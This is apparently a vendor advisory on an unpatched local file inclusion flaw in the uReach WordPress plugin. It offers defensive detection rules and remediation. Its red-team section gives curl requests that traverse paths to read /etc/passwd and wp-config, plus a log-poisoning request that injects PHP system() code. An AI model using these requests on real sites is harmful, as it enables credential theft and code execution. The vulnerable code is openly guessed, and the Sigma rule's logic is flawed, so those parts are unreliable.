CVE-2025-69060

Executive Summary

CVE-2025-69060 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the uReach WordPress plugin by AncoraThemes, affecting versions up to and including 1.3.3. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for significant data exposure. No public proof-of-concept or patch is currently available, making this a high-priority unpatched threat for WordPress sites using the uReach plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the uReach plugin distributed via the WordPress plugin repository or directly by AncoraThemes. Since the plugin is a third-party component, the risk extends to any WordPress site that has installed it. The lack of a patch means site administrators must rely on manual mitigation or removal of the plugin. The supply chain risk is elevated because the plugin may be bundled in themes or other packages, and the vulnerability can be exploited without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): High – Full file read access.
• Integrity (I): None – No file modification.
• Availability (A): None – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can expose sensitive server files. The lack of a patch increases the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) caused by improper sanitization of user-supplied input used in PHP's include() or require() functions. In the uReach plugin, a parameter (likely page, file, or template) is passed to an include statement without proper validation or path traversal checks. An attacker can manipulate this parameter to include arbitrary files from the server, such as /etc/passwd, wp-config.php, or log files.

Root Cause: The plugin fails to:

• Validate the input against a whitelist of allowed files.
• Strip directory traversal sequences (../).
• Use realpath() or similar functions to resolve the absolute path.
• Restrict the include path to a specific directory.

Exploitation Flow:

1. Attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /?page=../../../../etc/passwd).
2. The plugin passes the value to include() without sanitization.
3. PHP includes the specified file, outputting its contents to the attacker.
4. The attacker can read sensitive files, potentially escalating to remote code execution via log poisoning or other techniques.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code in uReach plugin (<= 1.3.3)
$page = $_GET['page'];
include($page . '.php');

A patched version would implement:

// Patched code (hypothetical)
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include(plugin_dir_path(__FILE__) . 'pages/' . $page . '.php');
} else {
    // Handle error
}

The patched version uses a whitelist, restricts the path to a specific directory, and avoids direct user input in the include function.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Install WordPress with uReach plugin version 1.3.3.
• Ensure the server is accessible (e.g., localhost or a test domain).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page, file, template). Common endpoints include:
   • /?page=
   • /?ureach_page=
   • /?template=
2. Send a request to read /etc/passwd:

   curl "http://target.com/?page=../../../../etc/passwd"
   

3. Read WordPress configuration file:

   curl "http://target.com/?page=../../../../wp-config"
   

4. For log poisoning (if applicable), inject PHP code into access logs, then include the log file:

   curl -X GET "http://target.com/?page=../../../../var/log/apache2/access.log" -H "User-Agent: <?php system('id'); ?>"
   

Expected Output: The contents of the requested file are displayed in the HTTP response.

Blue Team (Detection & Response)

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../, ..\\, %2e%2e%2f).
• Alert on requests to plugin endpoints with suspicious parameters.
• Use WAF rules to block path traversal attempts.

Response:

• Immediately disable or remove the uReach plugin.
• Check server logs for exploitation attempts.
• Rotate any exposed credentials (e.g., database passwords).
• Conduct a forensic analysis to determine if other files were accessed.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or ..\\ in parameters like page, file, or template.
• Requests to /wp-content/plugins/ureach/ with suspicious query strings.
• User-Agent strings containing PHP code (for log poisoning).

File IOCs:

• Unusual entries in web server access logs (e.g., requests to /etc/passwd).
• Modified or newly created files in the web root (if exploitation led to code execution).

System IOCs:

• Unexpected outbound connections from the web server.
• Unauthorized access to sensitive files (e.g., /etc/shadow, wp-config.php).

Detection Engineering

YARA Rule

rule CVE_2025_69060_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting uReach plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69060"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $plugin_param = /(page|file|template)=/
        $sensitive_file = /(etc\/passwd|wp-config|proc\/self\/environ)/
    condition:
        $plugin_param and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-69060 uReach LFI Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in uReach plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'page='
            - 'file='
            - 'template='
        cs-uri-query|contains|all:
            - '../'
            - 'etc/passwd'
            - 'wp-config'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-69060 uReach LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/"; http_uri; content:"page="; http_uri; pcre:"/(\.\.\/|\.\.\\){2,}/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the uReach plugin from all WordPress installations until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block directory traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Fix:

• Monitor the AncoraThemes website or WordPress plugin repository for an official patch.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with a secure alternative.

Compensating Controls:

• Use a security plugin (e.g., Wordfence) to detect and block LFI attempts.
• Enable PHP open_basedir to restrict file access.
• Disable allow_url_include in php.ini to prevent RFI escalation.

Valters IT
Securing Digital Frontiers